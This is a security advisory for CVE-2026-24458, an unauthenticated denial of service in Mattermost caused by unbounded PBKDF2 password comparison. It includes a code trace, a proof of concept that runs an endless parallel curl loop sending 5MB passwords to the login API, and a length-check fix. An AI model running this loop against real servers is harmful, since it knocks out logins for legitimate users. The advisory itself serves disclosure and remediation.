Unbounded PBKDF2 hashing allows remote login DoS via oversized passwords (CVE-2026-24458)
Summary
A user could carry out a DoS attack by logging in with an extremely long password, causing the password hashing algorithm to monopolize the CPU and memory of the server
The PBKDF2.CompareHashAndPassword function accepts attacker-controlled plaintext passwords during authentication without enforcing the global PasswordMaxLengthBytes guard that is used when hashing passwords for storage. As a result, login attempts with multi-megabyte passwords are processed by PBKDF2 with 600k iterations over the full input. Each request can monopolize CPU and memory for hundreds of milliseconds, allowing a remote attacker to send a small number of large password attempts to exhaust worker threads and cause denial of service.
The fix ensures the password length bound is enforced in both Hash and Compare flows before invoking PBKDF2.
CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Source → Sink
Source
server/channels/app/authentication.go
Line 70 · checkUserPassword
Sink
server/channels/app/password/hashers/pbkdf2.go
Line 208 · PBKDF2.CompareHashAndPassword
Attack surface
The Mattermost login API (/api/v4/users/login). No credentials required.
Preconditions
Network access to the Mattermost login API. No authentication required. Rate limiting applies per request but does not cap password size and cannot mitigate resource exhaustion per request.
Impact
Login endpoint becomes unresponsive, legitimate users cannot authenticate, and overall server responsiveness degrades due to CPU exhaustion. A small number of parallel requests with multi-megabyte passwords can saturate the authentication workers and cause prolonged CPU spikes.
Exploit path
How the issue forms.
Login flow invokes CompareHashAndPassword with attacker-supplied plaintext password.
err = hasher.CompareHashAndPassword(phc, password)CompareHashAndPassword hashes the password without length limits using PBKDF2.
newHash, err := p.hashWithSalt(password, salt)PBKDF2 iterates 600k times over the full password input, causing CPU exhaustion.
hash, err := pbkdf2.Key(defaultPRF, password, salt, p.workFactor, p.keyLength)Proof of concept
Reproduction.
Environment
Requirements: Ubuntu 22.04 LTS.
Install dependencies:
sudo apt update
sudo apt install -y golang-go git curl
Clone and build:
git clone https://github.com/mattermost/mattermost.git
cd mattermost
make build
Start server:
./bin/mattermost --config config/config.json
Configuration
Create a test user (using mmctl or Admin Console). Server listens on http://localhost:8065.
Delivery
Craft a 5MB password payload:
python3 -c "from pathlib import Path; Path('large_pass.txt').write_text('A' * (5 * 1024 * 1024))"
Send repeated login attempts with the huge password:
while true; do
curl -i -X POST 'http://localhost:8065/api/v4/users/login' \
-H 'Content-Type: application/json' \
-d @<(jq -nc --arg id '[email protected]' --arg pwd "$(cat large_pass.txt)" '{login_id:$id, password:$pwd}')
done
Start the loop from multiple terminals (5–10 parallel sessions).
Outcome
Remote unauthenticated attackers can saturate the authentication workers by sending very large password values, causing prolonged CPU spikes and preventing legitimate logins (denial of service).
Remediation
The fix.
Add a shared helper to enforce PasswordMaxLengthBytes for both hashing and comparison operations. Call the helper inside CompareHashAndPassword before PBKDF2 is invoked to ensure attacker-controlled inputs are bounded.
Before
func (p PBKDF2) CompareHashAndPassword(hash phcparser.PHC, password string) error {
// Validate parameters
if !p.IsPHCValid(hash) {
return fmt.Errorf("the stored password does not comply with the PBKDF2 parser's PHC serialization")
}After
func (p PBKDF2) CompareHashAndPassword(hash phcparser.PHC, password string) error {
if len(password) > PasswordMaxLengthBytes {
return ErrPasswordTooLong
}
// Validate parameters
if !p.IsPHCValid(hash) {
return fmt.Errorf("the stored password does not comply with the PBKDF2 parser's PHC serialization")
}